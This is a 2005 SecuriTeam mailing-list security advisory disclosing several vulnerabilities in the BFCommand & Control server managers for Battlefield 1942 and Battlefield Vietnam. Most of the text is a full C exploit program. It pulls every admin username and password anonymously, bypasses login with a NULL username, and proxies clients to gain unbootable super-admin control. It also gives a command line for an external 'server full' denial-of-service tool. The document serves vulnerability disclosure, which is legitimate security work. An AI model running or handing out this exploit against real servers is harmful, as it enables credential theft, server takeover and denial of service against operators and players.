[NT] BFCommand and Control, Battlefield 1942 and BFVietnam Multiple Vulnerabilities

From: SecuriTeam (support_at_securiteam.com)
Date: 08/30/05

  • Next message: SecuriTeam: "[UNIX] GNU rm Denial of Service"
    To: list@securiteam.com
    Date: 30 Aug 2005 18:36:19 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      BFCommand and Control, Battlefield 1942 and BFVietnam Multiple
    Vulnerabilities
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.bfcommandcontrol.org/> BFCommand & Control Server Manager is
    a server manager available for the games Battlefield 1942 (with the name
    BFCC), Battlefield Vietnam (BFVCC) and Battlefield 2 (BF2CC).
    The difference between these server managers and the others available on
    Internet is that BFVCC is also directly included in the CD of Battlefield
    Vietnam so it's used on many servers.

    Lack of proper information validation, and connection manager allow
    attackers to perform multiple type of attacks on BFCommand and Control and
    BF Viatman.

    DETAILS

    Vulnerable Systems:
     * BFCC version 1.22_A and lower
     * BFVCC version 2.14_B and lower

    Immune Systems:
     * BFVCCDaemon any version

    Full anonymous login bypass:
    An anonymous user can bypass the login mechanism and gain a full
    administration privileges.
    Without using the login mechanism, the attacker can bypass the log engine,
    except for several commands that does been logged if used.

    Login bypass through NULL username:
    The "login" command naturally is composed by username and a password but
    the if attackers place a NULL byte (0x00) in the username field, they
    will able to bypass the authentication and the server will grant the
    access to the attacker.

    Proof of Concept:
        "login" "\x1e" // command
        "\0" "\x1e" // username (NULL byte)
        "none" "\x1e" // password
        "none" "\x1e" // username
        "" "\x1e" // ???
        "" // ???
        "\x00\x40\x40\x00" // command delimiter

    Invulnerable clients and full privileges:
    The administrator (and moreover the local administrator) have the ability
    of booting the other remote administrators.
    Command such as "Boot" and others that have an effect on the clients are
    ignored and the server continues to keep the connection and any operation
    or disconnection is made by the client not the server.
    In short a modified client (for example placing a NULL byte where is
    located the Unicode command Boot in the executable) cannot be booted.
    Then each administrators can be limited in what he or she can do by
    setting some permissions in the "User Profiles" section.
    Just like for the Boot command also the permissions are client-side so
    an administrator with a very restricted power can take the full control of
    the server manager.

    Server full after consecutive connections:
    A sort of "fake players" attack with the difference that here after 20
    consecutive connections (just a simple connect and disconnect) the server
    becomes full forever.
    In short if the client doesn't send the "login" command the server
    considers the connection in an idle state and when is reached the limit of
    20 connections (although the connections and the sockets have been
    closed!) it becomes full and nobody can use the server manager from
    remote.

    Exploit:
    winerr.h can be found at:
    <http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html>
    http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html
    bfccown.c:
    /*

    by Luigi Auriemma

    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdarg.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netinet/in.h>
        #include <netdb.h>
    #endif

    #define VER "0.1"
    #define PORT 5555
    #define MYPORT 3333
    #define BUFFSZ 8192
    #define DEL 0x1e
    #define END "\x00\x40\x40\x00"

    void proxy(int sock, u_char *buff, int size);
    int check_drop(u_char *data);
    void show_bfcc(u_char *buff, int len);
    void send_bfcc(int sock, ...);
    int recv_bfcc(int sock, u_char *buff, int size);
    u_int resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer;
        int sd,
                len,
                attack,
                scan = 3;
        u_short port = PORT;
        u_char buff[BUFFSZ];

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        setbuf(stdout, NULL);

        fputs("\n"
            "BFCommand & Control login bypass "VER"\n"
            " BFCC <= 1.22_A\n"
            " BFVCC <= 2.14_B\n"
            " BFVCCDaemon is NOT vulnerable\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@autistici.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 3) {
            printf("\n"
                "Usage: %s <attack> <host> [port(%hu)]\n"
                "\n"
                "Attack:\n"
                " 1 = passwords stoler, sends the GetUserAccounts anonymously
    and gets all the\n"
                " usernames and passwords in the server manager (bug A)\n"
                " 2 = checks if is possible to bypass the login using a NULL
    username (bug B)\n"
                " 3 = proxy server to use with BFC3 and BFVC3 clients which
    grants access to any\n"
                " vulnerable server in total anonymity and unbootable (bug
    A and C)\n"
                " 4 = explanation of how test bug D, server full forever\n"
                "\n"
                " Note: The default port of BFCC is 4555 while is 5555 for
    BFVCC (default)\n"
                " This tool has been written to be compatible with BFVCC
    so only attack 1\n"
                " and 4 can be used with success versus BFCC using this
    specific tool\n"
                "\n", argv[0], port);
            exit(1);
        }

        attack = atoi(argv[1]);
        if((attack < 1) || (attack > 4)) {
            fputs("\nError: you must choose a number between the range of
    available attacks\n\n", stdout);
            exit(1);
        }
        if(attack == 4) {
            fputs("\n"
                "Download the tool \"Generic TCP Fake Players DoS\" from
    here:\n"
                "\n"
                " http://aluigi.altervista.org/fakep/tcpfp.zip\n"
                "\n"
                "Launch it with the following arguments\n"
                "\n"
                " tcpfp -r full 127.0.0.1 5555\n"
                "\n"
                "substituiting 127.0.0.1 and 5555 with the server and port of
    the server you\n"
                "want to test.\n"
                "\n", stdout);
            return(0);
        }

        if(argc > 3) port = atoi(argv[3]);

        peer.sin_addr.s_addr = resolv(argv[2]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();

        while(scan--) {
            printf("- target %s : %hu\n",
            inet_ntoa(peer.sin_addr), port);
            len = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
            if(!len) break;
            fputs(" no service available on this port\n", stdout);
            peer.sin_port = htons(++port);
        }
        if(len < 0) std_err();

        if(attack == 1) {
            fputs("- receive server's informations:\n", stdout);
            len = recv_bfcc(sd, buff, BUFFSZ);
            show_bfcc(buff, len);

            fputs("- send anonymous GetUserAccounts commands\n", stdout);
            send_bfcc(sd, "GetUserAccounts", NULL);

            fputs(
                "- receive full list of admin usernames and passwords\n"
                " Username Password:\n", stdout);
            len = recv_bfcc(sd, buff, BUFFSZ);
            show_bfcc(buff, len);

        } else if(attack == 2) {
            fputs("- receive server's informations:\n", stdout);
            len = recv_bfcc(sd, buff, BUFFSZ);
            show_bfcc(buff, len);

            fputs("- send login command with NULL nickname\n", stdout);
            send_bfcc(sd,
                "login",
                "\0", // BUG exploited here
                "password",
                "username",
                "???",
                "",
                NULL);

            fputs("- check for success message:\n", stdout);
            len = recv_bfcc(sd, buff, BUFFSZ);
            show_bfcc(buff, len);

        } else if(attack == 3) {
            proxy(sd, buff, BUFFSZ);
        }

        close(sd);
        free(buff);
        return(0);
    }

    void proxy(int sock, u_char *buff, int size) {
        struct sockaddr_in peer;
        fd_set readset;
        int sdl,
                sda,
                on = 1,
                len,
                psz,
                selsock;

        peer.sin_addr.s_addr = INADDR_ANY;
        peer.sin_port = htons(MYPORT);
        peer.sin_family = AF_INET;
        psz = sizeof(peer);

        printf("- bind port %hu\n", MYPORT);

        sdl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sdl < 0) std_err();
        if(setsockopt(sdl, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
        if(bind(sdl, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        if(listen(sdl, SOMAXCONN)
          < 0) std_err();

        printf("- launch BFC3 or BFVC3 and sets %s as server and %hu as
    port\n",
            "127.0.0.1", MYPORT);

        sda = accept(sdl, (struct sockaddr *)&peer, &psz);
        if(sda < 0) std_err();

        printf("- connected\n");

        send_bfcc(sda, // enable everything
            "master",
            "null/null/null/0/Map_True/"
            "Action-Warn" "\xff" "1" "\xff"
            "Action-Kick" "\xff" "1" "\xff"
            "Action-Insta-Kick (No Reason)" "\xff" "1" "\xff"
            "Action-Ban" "\xff" "1" "\xff"
            "Action-Insta-Ban (No Reason)" "\xff" "1" "\xff"
            "Action-Remove Ban" "\xff" "1" "\xff"
            "Action-Clear Banlist" "\xff" "1" "\xff"
            "Action-Force to Other Team" "\xff" "1" "\xff"
            "Action-Kill Player" "\xff" "1" "\xff"
            "Action-Send Message to Server" "\xff" "1" "\xff"
            "Game-Pause" "\xff" "1" "\xff"
            "Game-Toggle Auto-Balance" "\xff" "1" "\xff"
            "Action-Request PB Screenshot" "\xff" "1" "\xff"
            "BFVC3-Maps Change Maps" "\xff" "1" "\xff"
            "BFVC3-Maps Change 2 Map NOT in " "\xff" "1" "\xff"
            "BFVC3-Maps Restart Map" "\xff" "1" "\xff"
            "BFVC3-Maps Set Next Map" "\xff" "1" "\xff"
            "BFVC3-Admin Change Server Settings" "\xff" "1" "\xff"
            "BFVC3-Admin Change FF Settings" "\xff" "1" "\xff"
            "BFVC3-Admin Change Misc Settings" "\xff" "1" "\xff"
            "BFVC3-Admin Change Voting Settings" "\xff" "1" "\xff"
            "USERS-Access User Accounts" "\xff" "1" "\xff"
            "USERS-Edit User Profiles" "\xff" "1" "\xff"
            "USERS-Create User" "\xff" "1" "\xff"
            "USERS-Edit User" "\xff" "1" "\xff"
            "USERS-Delete User" "\xff" "1" "\xff"
            "BFVCC-Access Manager Control Panel" "\xff" "1" "\xff"
            "BFVCC-Access to Auto Admin Settings" "\xff" "1" "\xff"
            "BFVCC-Load Manager Profiles" "\xff" "1" "\xff"
            "BFVCC-Save Changes to Profiles" "\xff" "1" "\xff"
            "BFVCC-Create Manager Profiles" "\xff" "1" "\xff"
            "BFVCC-Delete Manager Profiles" "\xff" "1" "\xff"
            "CC-Access the CC Editor" "\xff" "1" "\xff"
            "CC-Save Changes to CC Profiles" "\xff" "1" "\xff"
            "CC-Create new CC Profiles" "\xff" "1" "\xff"
            "CC-Delete CC Profile" "\xff" "1" "\xff"
            "CC-Change a Maps CC Profile" "\xff" "1" "\xff"
            "PB-Edit PB Config Files" "\xff" "1" "\xff",
            "15567", // default server port
    (useless)
            "admin" "\xff", // username
    (useless)
            "True",
            "Super Admin", // profile
            "0",
            NULL);

        selsock = ((sock > sda) ? sock : sda) + 1;

        for(;;) {
            FD_ZERO(&readset);
            FD_SET(sock, &readset);
            FD_SET(sda, &readset);
            if(select(selsock, &readset, NULL, NULL, NULL)
              < 0) std_err();

            if(FD_ISSET(sda, &readset)) {
                len = recv_bfcc(sda, buff, size);
                fwrite(buff, len, 1, stdout);

                if(check_drop(buff)) continue;

                len = send(sock, buff, len, 0);
                if(len < 0) std_err();
            }

            if(FD_ISSET(sock, &readset)) {
                len = recv_bfcc(sock, buff, size);
                fwrite(buff, len, 1, stdout);

                if(check_drop(buff)) continue;

                len = send(sda, buff, len, 0);
                if(len < 0) std_err();
            }
        }

        close(sda);
        close(sdl);
    }

    int check_drop(u_char *cmd) {
        int i;
        u_char *p,
                *drop[] = {
                    "login",
                    "Boot",
                    "loginfailed",
                    NULL
                };

        p = strchr(cmd, DEL);
        if(!p) {
            p = strchr(cmd, END[0]);
            if(!p) return(0);
        }

        for(i = 0; drop[i]; i++) {
            if(!strncmp(cmd, drop[i], p - cmd)) return(1);
        }

        return(0);
    }

    void show_bfcc(u_char *buff, int len) {
        u_char *p,
                *l,
                *limit = buff + len;

        for(p = buff; p < limit; p = l + 1) {
            for(l = p; *l != DEL; l++) {
                if(!memcmp(l, END, 4)) return;
                if(!memcmp(l, "|;|", 3)) {
                    if(*(l - 1) == '\t') *(l - 1) = ' ';
                    memcpy(l, "\n ", 3);
                }
            }
            *l = 0;
            printf(" %s\n", p);
        }
    }

    void send_bfcc(int sock, ...) { // final NULL required
        va_list ap;
        int len;
        u_char *s;

        va_start(ap, sock);

        s = va_arg(ap, u_char *);
        if(s) {
            for(;;) {
                len = strlen(s);
                if(!len) len++;
                send(sock, s, len, 0);
                s = va_arg(ap, u_char *);
                if(!s) break;
                send(sock, "\x1e", 1, 0);
            }
        }

        va_end(ap);

        send(sock, END, 4, 0);
    }

    int recv_bfcc(int sock, u_char *buff, int size) {
        int len = 0;

            // one command at time, slower but better
        while(len < size) {
            if(recv(sock, buff + len, 1, 0) <= 0) {
                fputs("\nError: connection interrupted\n\n", stdout);
                exit(1);
            }
            len++;
            if(!memcmp(buff + len - 4, END, 4)) break;
        }

        if(len == size) {
            fputs("\nError: command too long\n\n", stdout);
            exit(1);
        }

        return(len);
    }

    u_int resolv(char *host) {
        struct hostent *hp;
        u_int host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolve hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_int *)(hp->h_addr);
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    /* EoF */

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@autistici.org> Luigi
    Auriemma.
    The original article can be found at:
    <http://aluigi.altervista.org/adv/bfccown-adv.txt>
    http://aluigi.altervista.org/adv/bfccown-adv.txt

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] GNU rm Denial of Service"

    Relevant Pages